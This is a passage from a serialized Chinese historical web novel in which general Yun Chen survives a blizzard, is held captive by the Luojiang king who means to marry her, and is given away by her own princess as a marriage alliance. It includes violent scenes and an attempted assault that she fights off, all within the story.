她只能一边用手遮住口鼻呼吸,一边挪向马头,抱住水中龙的脑袋,确保它也可以呼吸。
一人一马就这么抱着,试图扛过这恐怖的狂风,但身子却不停使唤地开始滑动,甚至越滑越快。
云琛和水中龙很快被风打散,吹得开始翻滚。
慌乱之中,云琛摸到腰间佩剑,趁落地的一刻,她用尽全力将剑**雪地,终于勉强停下。
然而她刚刚稳住,水中龙又被风吹得滑过来,狠狠撞在她身上。
怎舍得放弃,仍由爱马被吹走,她双手持剑,咬牙发力,用身子拦住水中龙。
但马实在太重了,长剑在雪地上慢慢倾斜松动,她深深埋头,在狂风中发出绝力的嘶吼,水中龙亦发出嘶鸣,仍旧抵挡不过这摧天毁地的力量。
双手慢慢脱离长剑,她紧紧抱住水中龙,人和马再次被卷滚起来。
像是一块在石臼里任由捶打的年糕,云琛和水中龙一次次被卷上天,一次次狠狠被拍在地上,接着又一次次被卷起。
在天地都要为之变色的暴风雪里,他们就像个毫无还手之力的婴儿,任人摆布,惶恐地等待着未知的死亡威胁。
不知天上地下撞了多少个来回,云琛感觉四肢都快要被风撕碎了。
还有被风卷起的泥土、雪块和石头,不停打在她的身上。
她又一次重重坠地,意识逐渐变得模糊,但能感觉到有人一直在用力拉扯自己。
她费力地睁开眼去看,是水中龙咬着她的衣角,用身子将她圈在怀里,两个后蹄使劲往雪里扎,才让她没有被再次卷走。
“狗……小六……”她轻声地呼唤,将已经冻透的身子往水中龙怀里钻。
不知捱了多久,慢慢的,风好像有变小的趋势,但空气却越来越冷。
寒风几乎让她浑身的血都要结冰,冷得她牙齿不停打颤,浑身僵硬麻木地抖动。
她尝试调动炁来暖身,根本无济于事。
不消片刻,她就被寒风吹得浑身发硬,整张脸都木了,耳朵疼得刀割一样。
求生的本能让她用力往水中龙怀里拱,剧烈的寒冷和将要冻死的恐惧,足以击溃这世上最强悍的勇士。
她根本不知道自己是如何弯起僵硬的手指,抽出靴子里的**,朝水中龙的肚子捅去。
她只知道水中龙发出长长的哀鸣,挣扎着想要站起来,想要逃,但在看到捅它的人是云琛后,它便没有挣扎了。
它静静地躺在地上,发出微弱的鸣叫,任由云琛生生剖开它的肚子,将它的五脏六腑全部掏出来。
温热的马血扑在云琛的身上,瞬间在皮肤上结冰,被风一吹,立马带着一块皮肉脱落。
她用尽最后一点力气,颤抖着爬进水中龙温暖的肚子。
身体慢慢回暖,模糊的意识渐渐清晰,水中龙的心脏还在轻微抽搐,一下一下,触碰着她的脸,像是在抚摸她。
可很快,这颗心脏就再也不跳了。
那一刻,云琛紧紧蜷缩起身子,爆发出此生最崩溃绝望的痛哭:
“狗哥!!小六!!啊——啊——”
…
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…
……
寒风肆虐,吹个不停。
广袤的雪原上,王庭前的战场和尸体,已全被风雪通通掩埋。
只有独独一朵鲜红的“花朵”还在迎风盛开。
黑色的马匹,雪白的大地,艳红的血花瓣,昭示着一个忠诚生命的离世。
马皮能抵挡大部分风寒,但随着时间过去,温度渐渐流失,云琛再次冻得瑟瑟发抖。
意识逐渐模糊,恍惚中,她好像听见荀戓和小六在喊她:
“醒一醒!阿琛!别在这睡!”
她好像又听见花绝的声音:
“再坚持一下!就一下!”
还有老阿奶在唱歌,悠扬的歌声穿过旷野,对她说:
“好孩子,你心肠不坏,我知道的。”
云琛挣扎着想要醒来,对老阿奶解释一番,隐隐约约又看见多吉出现在眼前。
他歪头打量着她,皱起满是雀斑的小鼻子,朝她做了个鬼脸。
最后,她看见娘亲站在瓢泼大雨里,一团光芒牵着她的手,走向盛开的海棠花海。
褪蓝色的海棠花被风一吹,花瓣全部落进了光芒里。
那光芒随即幻化成一个虚影,向云琛缓缓走来,腰间一块梅花破月的玉佩被雨打得叮当作响。
“小可怜。”
那人影这样说。
云琛想要看清恩人的脸,却怎么努力都睁不开眼。
突然,一切消失,她开始感到越来越热,五脏六腑都在燃烧。
求生的欲望驱使着她解开衣裳,一件件脱掉,拼命地抓挠皮肤,想要像剖开狗小六那样剖开自己,将脏腑拿出来吹吹凉风。
意识混乱中,她好像看见风雪慢慢停歇。
模糊的视线里,一个高大的男人朝她走来,在她面前蹲下,扯了扯马皮,将她的身子裹好。
来人露出剑眉星目的脸,轻笑一声:
“小云云,想我没?”
第362章 嫁给我吧
在彻底昏死之前,云琛好像看见了颜十九。
因而在接下来稀奇古怪的梦里,她一直梦见他。
随后她进入一种半睡半醒、有点意识但不多的状态。
她感觉到有人将她抱起,与她共同躺进装满雪的大池子里。
一双有力的手臂从身后环着她,滚烫结实的胸膛贴着她赤裸的皮肤,一点点用雪块擦去她身上的污血。
从雪到冷水,再从冷水换到温水。
那个不轻不重的呼吸声一直环绕在她耳边,仔细又温柔地拂过她每一寸肌肤,直到她沉沉睡去,连梦都没力气做。
睡了很久很久。
再次醒来时,望着眼前陌生、异域又华丽的装饰,她知道她还在洛疆。
所住之地不是帐篷,而是稳固高大的屋宇,证明她不在某个部落,大约是在王庭。
她不确定昏迷之前看到的是不是幻觉,是颜十九救了她吗?
如果是,为什么他能好端端的,还带人去救她,公主却被折磨成那个非人的样子?
她打量身上四处包扎的地方,有敷草药的痕迹,衣服也从里到外都换得又新又厚实。
如果不是颜十九,那又是谁?
洛疆人吗?不可能,不杀她这个敌国大将都不错了,怎么还会帮她医治。
她带着一肚子疑问坐起身,艰难地迈开步子,每动一下,身上到处冻伤的地方都火辣辣地疼。
她推开门,与一张络腮胡的大饼脸直直对上。
对方显然十分惊讶她竟然这么快就醒了,急忙用洛疆语招呼其他人,而后拔开佩刀却不出鞘,十分礼貌地请她后退。
在洛疆部落生活过一个多月,云琛多少懂一点点洛疆语。
她知道对方在命令她回去躺着,不许出来,是软禁她的意思。
她环顾四周,除了一张宽大的铺着厚狼皮的床榻,周围什么东西都没有。
连个桌椅都没摆,水壶、水杯和装点心的盘子都是木头做的,直接放在地上,很明显是防她呢,不给她一丁点反抗的武器和机会。
既然对方防得这么严实,再加上她受了很重的冻伤,一时半会也打不动,跑不了,她索性盘腿坐在地上,拿起点心开始吃喝。
没一会儿,洛疆王走进来的时候,云琛已经将一盘点心吃的精光,正提着水壶,仰头对嘴猛灌,一点戒备的姿态都没有。
“好一个‘既来之,则安之’。”一句非常标准的楠国语。
云琛抬眼望去,抬一点,再抬一点——
来人三十来岁,身量极高,比她见过的任何一个洛疆男人都要高大,立在那跟座塔楼似的。
方才那个络腮胡大饼脸的守卫已经够壮了,可现在却被衬得跟细狗一样。
洛疆王气质威严,方口阔鼻,双目如炬,膀大腰圆,还带着一顶华丽的冠帽,垂着两个少数民族特有的麻花大辫子。
短短一眼,云琛已将洛疆王全身打量遍,看出他是个练家子,而且是力量型的那种,并在心里预演出一套完整的进攻连招。
练家子对上练家子,对方心里在想些什么,眼神里在打量什么,双方都一眼就能看透。
洛疆王觉得有点好笑:“我不打女人,你没有机会和我动手的,不用想了。”
这话很随和,没有什么高高在上的君主架子。
云琛便站起身,想要潇洒地拍拍身上的点心渣子,做出楠国人礼仪之邦的风范来,却忘记自己浑身都是冻伤,两下给自己拍得呲牙咧嘴,什么风范也没了,眼泪都差点疼出来。
她强撑着站好,“不打女人?怎么,怕被女人打趴下,丢脸吗?”
“哈哈哈哈哈——”洛疆王仰头大笑,看得出是真觉得好笑,不是敷衍。
他屏退两边警戒非常的守卫,上前一步,俯视着云琛。
来之前,他还实在难以想象,到底是什么样一个楠国女将军,能厉害到三进三出王庭,令战罢归来的士兵们如同炸锅一样地议论纷纷。
他觉得那不过是狡猾的楠国人的唬人手段。
可现在,看着眼前个子只到他胸口那么高的女人,清瘦得像只小鸟一样,却浑身气势无惧无畏。
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>那双漂亮的眼睛里虽无算计,但全是炯炯的焰火。
此时此刻看着云琛,洛疆王立马就相信了士兵们所言:
楠**中有猛虎,杀敌首犹如割野草,无人可抵挡。
洛疆王笑道:“你很有意思,我喜欢。”
云琛摆摆手表示不用来这套。
“说吧,要严刑逼供,问军中机密,还是要用我做人质威胁,或者干脆点,别的没有,要命一条!不过在这之前,我想见一见颜十九。”
洛疆王有点茫然,显然没有听过颜十九的名字。
他命身旁侍从立即去打听,看剩下的楠国俘虏之中,有没有一个叫颜十九的。
云琛则心中了然,看来是差点被冻死前的幻觉,并不是颜十九,但还是存着最后一点希望问:
“是你救的我?”
洛疆王心想,是头曼的巡逻队发现你,将你当战利品送给我,我没有杀你,反而叫人替你包扎,肯定算是我救了你。
洛疆王点头称是,云琛心里最后一丝幻想破灭。
回忆起南璃君被救时的样子,估计颜十九也好不到哪里去,是否还活着都不一定。
再结合洛疆人对待南璃君的态度,她预料自己这个比南璃君身份低微了一万倍的家伙,不会有什么好下场。
想着左右不过一条命,女子汉大丈夫,宁死不**,云琛叉腰站好,仰头翘起洁白的脖子,十分豪迈道:
“来吧,给个利索的,我在地府也会念你的好,熊笨!”
洛疆**显有些不高兴了,但不是因为云琛的态度,而是她念错了他的名字。
一旁的宫廷侍从严厉斥责,用生疏的楠国话道:
“这是我们的草原之主天老爷之子,伟大的洛疆大汗国的君王——熊顿单于!”
云琛点点头:“知道了。鄙人云琛,不是‘王’也不是‘子’,狮威军玄威上将是也!”
洛疆王熊顿满意颔首,下一句话就将云琛整个人定在原地,震得三魂七魄都飞出去一半:
“云琛女将军,你很不错,嫁给我吧!”
第363章 马屁精
要说**,云琛眼睛都不带眨的,若是杀她,她更是眉头都不会皱一下。
可是!
可是特娘的那个熊顿说要娶她!
有病!
实在有病!
谁家好人见一面就要成婚?还是娶她这个杀了无数洛疆士兵的敌国将军?
云琛想不通,她觉得一定有诈!
熊顿肯定是打算新婚之夜折磨死她!
一想到这,她坐不住了,急得在屋子里团团转。
她越想越气,却没有任何武器可用,只能像个疯子似的在屋里摔碗砸杯子。
然而她的这一举动,更让熊顿确信自己没有看错人。
这小小女人不仅是世上绝无仅有的杀伐悍将,更全无一点阴谋诡计,被逼急了也只会像普通女人一样扔东西发脾气。
熊顿觉得自己能驾驭。
于是,在云琛连吼带骂地闹了一整天后,感觉她力气已经折腾得差不多了,熊顿再次来到她的屋子,开门见山道:
“我们洛疆最敬重勇士。你是杀了很多洛疆兵,但我们也杀了很多楠国兵,抛开战争不谈,你勇猛无比,可以成为我开疆拓土的助力。同时你也是个好女人。”
说罢,熊顿将一个熟悉的钱袋放在云琛面前。
满满一袋金豆子,全是她当时留给老阿奶和多吉的。
只可惜他们永远没机会用了。
想起那被她欺骗辜负的部落人们,还有多吉临死之前绝望又愤怒的哭喊,云琛仿佛所有力气被抽去,心口像刀扎一样生疼。
她闭了闭眼睛,不想在熊顿面前掉眼泪。
可熊顿看得分明,“我已经查清楚你们是怎么知道王庭所在的,也知道了你在部落里的事。你帮我们洛疆的老人修帐篷,拾柴,用朋友给孩子换小羊,甚至不顾性命用雪崩救火。我说了,抛开战争,你是个好女人。”
云琛低头坐着,一言不发。
“是吗?好女人?”她苦笑一声,接着语调一变:“有多好?”
然后突然以闪电般的速度从榻上暴起,一跃扑向熊顿,用绳子狠狠勒住他的脖子。
这一变故发生在眨眼之间。
在场所有守卫都还没反应过来,云琛已从背后挟持住熊顿,厉声道:
“放我走!不然我用这根绳子勒死你们草原儿子什么的王!给我让路!”
在熊顿的手势示意下,士兵们神色紧张,赶紧向两边让开。
熊顿却好似一点也不意外,像是早就料到她会如此,神色既欣赏又佩服,而后看向她暴露在外面冻伤未愈的手腕,云琛正是拆下裹伤口的布当作勒杀绳索的。
他不悦道:
“冻伤好得慢,不小心就会留疤。我喜欢白的女人,不喜欢太多伤疤。”
云琛差点被气笑,勒紧手里的绳子,用膝盖狠狠顶向熊顿后腰,“别废话!往前走!”
熊顿没有挣扎,乖乖往前走,只是将背挺得
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笔直,叫云琛从后勒着他十分费劲。
迫不得已,云琛只得跳上他肩头,熊顿竟毫不反抗,反而抬手护了她一下,帮她在他肩上坐好。
云琛一时间没反应过来这是什么情况,接着熊顿大步一迈,跨出屋门——
只见院子里满满当当全是弓箭手。
地上,墙头,近处,远处,锋利的弓箭织成一张天罗地网,叫她插翅也难逃。
空气凝固了片刻。
云琛放开勒着熊顿的手,低声咒骂:
“你真**是个人才!”
熊顿不解:
“‘**’是什么意思?”
为了了解敌国,熊顿花了大价钱和好几年的时间学习楠国话。
但很明显,再胆大的老师也不会教他这句脏话。
云琛跳下熊顿肩头,翻了个大白眼。
“‘**’是我家乡话,是个语气助词,就是‘很’‘非常’——夸你的意思。”
熊顿点点头,表示了解。
云琛则在心中暗骂:
名字叫熊,长得也像熊,实际上心眼子可比熊多多了!
也是,能收服周边那么多小国,一统北方建立大汗国的,不可能是个傻蛋君主!
云琛重重叹口气,认命地走回屋子。
在她身后,熊顿发出响亮得意的大笑,周围的洛疆士兵们全在拍手叫好,喊着“恭贺单于新婚!”
她狠狠关上门,“呸!洛疆也都是马屁精!”
第364章 准备婚礼
洛疆王熊顿说要娶云琛,不是说说罢了。
他先是将要娶云琛的消息昭告整个汗国,令民众为此庆贺欢呼,将诋毁他娶敌国将军的人统统抓起来治罪。
而后,整个王庭都开始忙忙碌碌。
宫殿里,侍从侍女们穿梭不停,将上一次熊顿大婚时的喜袍、牛角盘头、狼王皮......统统拿出来准备。
和楠国成亲时穿红带绿不同,洛疆人热衷于给牛羊洗澡、梳**、带白刺花环,给每头牛羊身上戴满各式珠宝,整整三千头,说是送给云琛的成婚聘礼。
熊顿原本已有一位正妻阏氏和三位次妃。云琛将是第四位次妃。
他在娶阏氏时举行过大婚,娶其他几位次妃相对简单,但也有仪式。
这次是专门为云琛摆出最为隆重的场面。
这让云琛有种箭在弦上不得不发的无措,她没想到熊顿竟这么喜欢成婚。
咋的?给婚假吗?
到底喜欢她啥啊?敬重并欣赏她是难得的勇士?
不是,谁家娶妻看勇猛啊!做兄弟不香吗?说不定还能促进两国和平,直接不用打仗了呢!
眼瞧周围人为即将到来的婚礼忙来忙去,云琛越看越烦躁,侍女们笑眯眯地捧来婚服让她试穿,直接被她一脚踹飞,吓得侍女们不敢再上前。
最后,熊顿的正妻阏氏亲自来了,带着三个各样美丽的女子,站在离云琛很远的地方,犹豫着不敢靠近。
云琛瞧了几人一眼,都是洛疆女子典型的周正大气的长相,举止端庄,但看向她的神色都很惶恐,一看就是熊顿命她们来当说客的。
女人怎能为难女人。
云琛无奈地叹口气,闷闷地坐着,不再乱发火。
阏氏见状,立刻和三个次妃上前,开始帮云琛梳头盘发,试穿婚服。
“云将军很美。”阏氏的楠国语也不错。
其他几个次妃纷纷附和,表示对云琛容貌的赞美。
云琛突然有种自己是个男人,正在接受妻妾们吹捧的感觉。
她拍拍脑袋,赶走混乱的思绪,对阏氏道:
“你叫我‘云将军’,说明你明白,熊顿不是喜欢我,他只是想留住我为他所用,帮他打胜仗。”
阏氏说了句云琛听不懂的洛疆语,几个次妃都脸红地笑起,阏氏道:
“单于喜欢您的,不只是因为打仗。”
“你从哪看出来的?”云琛不信。
“我们当年成婚时,他送了我三千头牛羊,现在也同样送你,说明他很重视你。”
“......”
“用你们的话来说,可能是‘一见钟情’。”
“......”
“你被送来的时候,小小一只裹在厚厚的羊毛毯里,我看着都心疼极了。单于是顶天立地的男人,疼惜女子的。”
“......”
云琛这辈子第一次听到有人用“小小一只”来形容自己。
要知道她可是做了十几年的男人!个子在女人堆里都算高的!
不过和洛疆女人比起来,她确实显得十分白嫩娇小。
说话间,她的头发已被高高盘起,戴上各种华丽的珠宝,整个发型比她的头还大,身上的婚袍也毛茸茸的,跟小熊似的。
阏氏几人却都夸赞她美极了,搞得她哭笑不得。
她郁闷地撑头坐着,听着阏氏和三个次妃叽叽喳喳说个不停。
等几人声音突然停下的时候,她抬眼望去。
熊顿正在门口望着她,眼神既惊喜,还真有些她不敢直视的情绪在里头。
阏氏几人乖觉退下,周围的侍从和侍女们也都退了下去,只剩里三层外三层的士兵还在守卫,但全都背过身,好像知道熊顿要干点什么见不得人的事一样。
女子的警觉令云琛后退一步,严肃警告
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“熊顿,你要敢碰我!咱们就同归于尽!”
熊顿无奈摇头:“我又不是禽兽,不会强迫你。”
这话让云琛放心许多。
有熊顿这句承诺,她就是耗上几个月也不怕,期间一定能找到机会逃走。
熊顿来到她身边,细细打量她的脸,表情认真,字正腔圆道:
“云琛,你真**漂亮。”
云琛愕然:“谢谢……”
感觉到熊顿逐渐炙热的目光,云琛后退一步拉开距离。
“熊顿,我有丈夫的,已定婚约,只是还未成婚。”
“我不介意。”
“可我介意啊!”
“那怎么办?我选个洛疆最漂亮的女子出来,赔给他做妻子,可以吗?”
“不可以!!!”
“那我就杀掉他,你就没理由不嫁给我了。”
“......”
云琛真想掰开熊顿的头,看看里面是什么馅儿的熊脑!
她知道洛疆男人都很大男子主义,但也没见过这么霸道的啊!
“我真不懂你为什么一定要娶我,你们洛疆不是恨极了楠国人吗?”
熊顿脸色微沉,“我知道你是说楠国公主被囚禁在王府的事,我前些日子才刚刚知道。我的弟弟头曼,他确实恨极了楠国人,所以才那样对待楠国公主。我已经严厉惩罚他,将他关了起来。”
若换作熊顿抓到南璃君,凭这些日子云琛的接触和了解,以熊顿的人品,绝不会让南璃君经历那些恐怖非人的摧残。
“他为什么那么恨楠国人?据我所知,洛疆的百姓其实也不喜欢打仗,他们和楠国的百姓们一样渴望安宁。老百姓们的愿望很简单,有田有粮,妻儿平安。”
“那就要问问你们的国家了,为什么要害死我们的公主,欺骗还**我们整整十万同胞!”
听到这话,云琛整个人惊愣住。
第365章 跟次妃学礼节
熊顿的话令云琛惊愣。
接下来,他讲了一个很长、很惨烈的故事,全是云琛从未听说过,就连史书都不曾记载的前朝往事。
原来头曼之所以那么恨楠国,是因为曾亲眼见到父王和母后被害死,十万洛疆勇士被残忍**。
如今前朝已去,可那些仇恨却没有一同远去,随着时间推移,反而愈发疯狂滋长。
这也是熊顿明知头曼觊觎王位、私自囚禁楠国公主,知道他罪行累累而不忍处决他的缘故。
作为兄长,熊顿觉得自己有义务照拂头曼这个堂弟。
若不是当年熊顿恰好因兵务外出,也许当年的洛疆王,也不至于下场那么凄惨,头曼也不会变成这样。
听完整个故事,云琛长叹:
“冤冤相报何时了,老百姓们何其无辜……”
熊顿认同这话,“所以我要统一汗国,虽然过程很难,但今后小国之间不会再混战,百姓们不会再无辜遭受战火。以战止战,天下太平。”
最后八个字显然撼动了云琛的心。
熊顿似乎看得比所有人都长远,他的战争从来不是泄私愤。
云琛问他:“那楠国呢?你如今已统一北方,下一步要统一楠国?”
熊顿被这个傻问题逗乐了,“哈哈,怎么可能?那么古老庞大的国家,怎么可能吞并得下。”
“那你为什么还要和楠国打?”
这次换熊顿惊愣了,“是你们打到草原来的啊!不是说什么北伐吗?”
“那是因为你们偷袭京都!”
“胡说!是前年你们**了我们七个大部落!”
“谁叫你们一直在边境挑衅来着?而且楠国边境都是正规军!怎么可能**平民?”
“谁挑衅边境了?是你们偷挪边境线!抢走我们二十多个大草场!”
说完,两个人都愣住了,同时反应过来:
不好!有鬼!
两边一定都有贼人从中作梗,甚至谎报军情!故意挑起两国混战!
云琛不擅长思考这些权谋之事。
熊顿则不愧为君主,瞬间想明白所有,一身鸡皮疙瘩都冒了出来,恨铁不成钢地骂道:
“该死的,一定是头曼!只可能是他!看来这次真的不能再饶恕他了……”
云琛听罢,心中不祥。
如果洛疆这边是头曼作祟,楠国那边的贼人,很可能是挑起三国攻楠的幕后主使,是黑鳞骑兵背后真正的主人。
如此说来,头曼也许与黑鳞骑兵有所勾结!
那意味着他们已在暗中酝酿更大的阴谋!
见云琛一脸忧重,熊顿安慰地拍拍她的背:
“别想了,今后你是我的女人,就是洛疆人了,不必再管楠国的事。”
云琛现在根本没有“谈情说爱”的心思,直接抓住熊顿,语气带了祈求:
“你放我走吧!我必须把这个消息带回去,让公主下令与洛疆停战,不能再让将士们做无谓的牺牲了!你给我匹快马!最多十天我就能到狮威军!”
熊顿看了眼揪着自己衣服的小手,又白又小,来不及他半个手掌大,不禁心里一软,握住她的手,说:
“如果在楠国公主被囚禁之前,可能还有机会解开两国误会。可如今楠国公主被那样对待过,你认为还有停战的可能吗?我会尝试派使者游说,但希望不大。”
云琛急了,“那也要试试啊!”
熊顿坚决摇头,将她近一步拉进怀里,用他洛疆王的威严道:
“我已经发王庭文书给楠国公主了,说我要娶你,现在你就是回去,她也不会再信你。”
“你有毛病啊?!”
云琛忍不住大骂,猛地将手抽回来,一拳打在熊顿胸口,却如同捶到一堵肉墙。
熊顿连一点反应都没有,她的手却痛得要死。
气急攻心,她差点忘了自己和熊顿的体型差距,硬刚是不行的,还是得用招式取胜。
熊顿挨了一拳,并不生气,反而有种摸透云琛力气大小的感觉,竟直接将云琛打横抱起,将她的手臂紧紧箍住,开始往屋里走。
云琛边踢腿边大骂:“放开我!**!放开老子!”
双手被禁锢得动弹不得,双脚又腾在半空无处使力。
云琛吓坏了:“你不是说绝不强迫我吗?!你现在要干什么?!”
熊顿的神色变得坚决,“我反悔了。你一天不做我的女人,只怕一天都不得安宁!”
说罢,熊顿直接将云琛扔在榻上,未等她飞起一脚,他已用强壮的身体压住她,熊掌一般的手掌摁住她的腰,开始脱她的婚服。
云琛想要使出招式,可在绝对的男性力量面前,她连起身都做不到,只能徒劳踢打。
很快,衣服被拉开,露
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出她半个洁白的肩膀。
趁熊顿对着她肩头纵横交错的疤痕愣神时,她将一只手抽出,以最快的速度掰断头上盘头的牛角,向熊顿的眼睛全力刺出。
熊顿偏头躲闪,被一牛角扎在下巴上,登时血流如注,疼得他略微松开对云琛的钳制。
瞅准这个机会,云琛翻身而起,攀上熊顿的肩头,直接用胳膊狠狠绞住他的脖子,试图用这招将他勒昏。
要换作其他人,云琛使出这一招,对方眨眼便会失去意识。
可熊顿却真的和狗熊一样结实,只是被勒得连连后退,无法还手,却摇摇晃晃,就是不倒下。
见此情景,云琛杀心顿起,正要使出全力绞杀熊顿,却听一个大喊声由远及近。
一个洛疆士兵没有通传,直接闯进屋子,然后愣愣地看着自家大汗和脖子上吊着的楠国小女子,连话都不会说了。
熊顿被勒得喘不上气,急忙拍拍云琛的手示意放开,表示他不会再继续。
云琛杀心退去,知道就算此刻杀了熊顿,她也逃不出去,只能撒开手,顺势给了熊顿屁股上一脚。
旁边士兵看得一愣一愣的。
熊顿脸上有点挂不住,一边拿出他平日的威猛架势,一边用洛疆话斥道:
“看什么看!我在和次妃学楠国礼节!有什么惊奇的!”
“单于,那您下巴怎么回事?”
“我自己磕的!”
“……”
士兵不忍揭穿,突然想起自己是干嘛来的,赶紧将两卷书信呈上。
一卷是洛疆打探军情的回报,另一卷则带着楠国东宫的官纹。
熊顿也不避云琛,打开看了几眼,登时脸色一变,“啪”地将书信合了起来。
他先是将屋子里所有能伤人的东西,包括那牛角,全都扔了出去,然后神情复杂地看向云琛,却不知该怎么开口。
云琛从他的表情上看出不祥,皱眉头:
“什么事?是狮威军出事了?”
熊顿不说话,云琛顿时心头一沉,急问:
“是不是阿念出事了?霍乾念出事了?!”
“都不是。”熊顿用怜悯的目光看着她。
“雷霆云纹歼灭叛军,取得大胜……不料黑鳞骑兵趁此疲惫之机,突然发动偷袭,攻破楠国东南防线,已将楠国东部全部占领。你父亲他们……阵亡了……”
第366章 和亲
与此同时,楠国大军驻地。
在所有将士的注目中,一封带着东宫官纹的信函,从南璃君的帐中出来,经过跪了一地的狮威军,直直往洛疆王庭而去。
信上只有简简单单一句话:
“愿将幽州云氏之女送与洛疆王,和亲同好,结盟休战”。
这道东宫令出乎所有人意料。
被那般非人对待后,以南璃君从前的性子,势必要不惜一切代价报仇。
可她竟然同意休战。
是因为吃了败仗,亲身经历了北伐军覆没,因此恐惧?
还是单纯地因为洛疆王要求娶云琛,乐于见到云琛受辱呢?
没人知道原因。
总之那短短二十一个字,深深寒了所有狮威军将士们的心。
亦将还未从丧父之痛中缓过来的霍乾念击得粉碎。
他跪在离公主帐最近的位置,脸色惨白到了极点,头发凌乱得无暇去梳,身上铠甲摇摇欲坠,是战过太多次,已无法再抵挡任何一刀一箭的缘故。
他身子在寒风中不停打晃,俯身叩头,声音沙哑:
“求殿下收回成命。云琛……”
仅仅是念出那两个字,仿佛已用尽他全部的力气。
“云琛……乃我狮威军上将军,从军以来两年有余,大小战役九十九场,立功无数……臣知眼下与洛疆休战乃国之上策,可从古至今,从未有以国功大将和亲之事!求殿下看在……看在刚刚战死的......霍老将军……和云老将军的份上,收回成命……”
霍乾念说完,再次俯身叩首,在所有狮威军将士们面前,低下那从来高贵的头颅。
他的身后,荣易、罗东东、叶峮、不言……一大群狮威军将士们同样叩首。
公主帐的帘子落得严严实实,南璃君空洞又冰冷的声音从帐子里传出来:
“洛疆王求娶云琛,有意停战,本殿只是成全他。能用一个人解决的事,何乐不为,难道非要无数将士为此送死,霍将军你才满意吗?”
此话如当头一盆冷水,将人浇得透心彻骨的寒。
乍一听好有道理啊。
南璃君好像突然变了一个人,不再被权臣牵着鼻子走,好似一夜之间生出浑身毒刺,开始懂得怎么**于无形。
霍乾念没有说话,亦保持着深深叩首的姿势没有动。
荣易听不下去了,猛地直起身子,故意用最大的、能让所有人听见的声音道:
“殿下!‘这个人’可以是天下任何一个女子!但绝不能是狮威军和北伐军的人!您可知,您口中所说的‘这个人’,为了您的安危,为了走到您面前,都付出了什么代价?!
哪怕只是个普通将士,若他战死,朝廷都会厚待其家眷,遑论云老将军一把年纪!变卖所有家产赴战场!云老将军才刚刚战死啊!我们就要弃他的女儿于不顾吗?这岂非让天下将士寒心!谁人还愿为国战之?!”
霍乾念不能说的话,荣易全都替他说出来了。
字字铿锵有力,砸在每个狮威军将士的心头。
原以为,南璃君会像从前一样暴怒,帐子里会砸出茶杯。
但在一阵死寂之后,传来的只有南璃君轻蔑的冷笑:
“怎么,天下任何一个女子都可以在洛疆王庭里受折磨,唯独云琛不行?她比天下所有女子——比本殿还尊贵是吗?”
荣易瞬间语塞:“末将不是这个意思......”
“闭嘴!”南璃君冷冷打断,接着用不容
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置疑的语气命令道:
“此事已成定局,不容再议!谁若再敢质疑本殿的决定,多说一个字——段捷,本殿许你先斩后奏!当即斩杀!”
段捷无声地叹息,只得领命。
他想要过去劝劝霍乾念,后者将身子直起来,脸是惨白的,嘴唇也毫无血色。
霍乾念定定望着纹丝不动的帐帘,用最卑微的声音哀求道:
“君令重如泰山。殿下,您答应过的,要许我与云琛成婚......”
南璃君并不理会,帐子里安安静静,没有一点声音。
天色渐渐变晚。
在段捷和一干北伐将士的劝说下,狮威军的将士们陆陆续续散去。
最后连荣易都用手撑着地,揉着剧痛不已的膝盖,面色晦暗地离去。
只剩霍乾念一个人孤零零地跪在雪地里,既不说话,也没有要离开的意思。
将士们时不时向霍乾念投去担忧又同情的目光。
一个将士道:“真悲哀,打了两年半,结果是为了将我们的将军送给敌国吗?”
旁人道:“你疯了!这话也就荣将军敢说!咱们有什么家世啊,有几条命和公主作对啊?”
“怎么,只许她做,不许人说?你忘了我们怎样放弃固英城来到这里?国家怎么沦落到如今三分之一都被黑鳞骑兵占领的?全是为了救谁?北上勤王,最后‘勤’出个什么?”
“别怪他了,估计大家心里都是这么想的。”
“所以接下来,我们要在没有云将军的情况下继续打仗?打黑鳞骑兵吗?要不再送将军出去和亲吧,哦,现在唯一的女将军没有了,希望焦左泰也喜欢男人!”
“别胡说八道了——不好!霍将军晕倒了!”
第367章 荣易请罪
将士们围冲上去,七手八脚地将霍乾念从雪地里扶起来。
一面呼喊军医,一面急急抬霍乾念回将军帐。
一路上,将士们议论纷纷:
可怜霍将军,倾霍帮之力扶持南璃君上位,现在却落得如此下场。父亲战死,心上人亦沦为敌国之妾。
就是再坚强的男人,恐怕也受不了这种羞辱和打击。
将士们越说越气愤,作为男人,他们感同身受霍乾念的绝望。
回到将军帐后,霍乾念并没有昏太久。
他醒过来时,叶峮和不言正在小声商量怎么私自潜入王庭救云琛,罗东东想要加入却被拒绝,理由是他们二人无官无职,干什么都算自由,可罗东东是有军职在身的,若违反命令,只怕下场不好。
罗东东只能在一旁垂头丧气地坐着。
荣易则跪在霍乾念榻前含泪请罪:
“霍将军,全都怪我,如果不是我挡了你一下,拦了你救援的步子,老大就不会被风雪卷走,沦为现在这个局面......霍将军,我有罪,你罚我吧,我都认!”
荣易不说这话还好,一说,不言直接火冒三丈,要不是叶峮拦着,他冲上去就要揍荣易,气骂:
“你也知道怪你?我护着公主走!你怎么不知道护着阿琛?后面又没有追击的敌人!为什么总是阿琛殿后?”
罗东东从旁小声开口:“老大总是把最危险的留给自己,一向都是她殿后,大家都习惯了......”
不言怒极反笑,“好啊!那从今往后你们就好好习惯没有‘老大’的日子吧!”
这时,榻上的霍乾念微微抬手,做了个“噤声”的手势。
不言不再说话,但仍旧一脸怒容。
荣易被骂也不恼,他无话可说,甚至觉得不言骂的很对。
“霍将军,你罚我吧!削级,罢免,军棍!我都受!贬我当个小兵也行!”
霍乾念轻轻摇头,抬眼看向荣易:
“因为荣江,你对我有疑心。你以为我当时冲过去,是要趁乱杀公主,所以才拦了我一下,对吗?”
荣易脸色骤白,没有反驳,默认了。
其他几人一脸震惊,不言硬是咬住舌头,才忍下没有骂脏话。
荣易咬咬牙,直白道:
“对!我是对您有疑心!因为我哥才刚告诉我一个秘密,接着就**!而且是死在只有你们两个人的情况下!我不信他那么轻易就**!”
“‘轻易’?”霍乾念苦笑,“你知道叛军的粮草库是什么样的吗?叛军驻地离河很近,为防水淹,全部建的倒斗粮仓储粮。火折子怎么都只能点燃下面一点点,无法全部烧起来。当时我们已被叛军发现,杀起来,眼看就要功亏一篑,荣江便攀上粮仓顶,脱下衣服……点燃去烧。”
顿了顿,霍乾念艰难继续,声音悲怆道:
“可粮食又不是草纸,烧起来需要时间,荣江只能一直举着火,直到烧到他的头发,全身......”
荣易浑身一麻,简直不敢去想象那惨烈的场景,烈火烧在身上该多痛。
是啊,这才符合荣江那傻子啊!
从小到大,什么危险事他都抢着做。
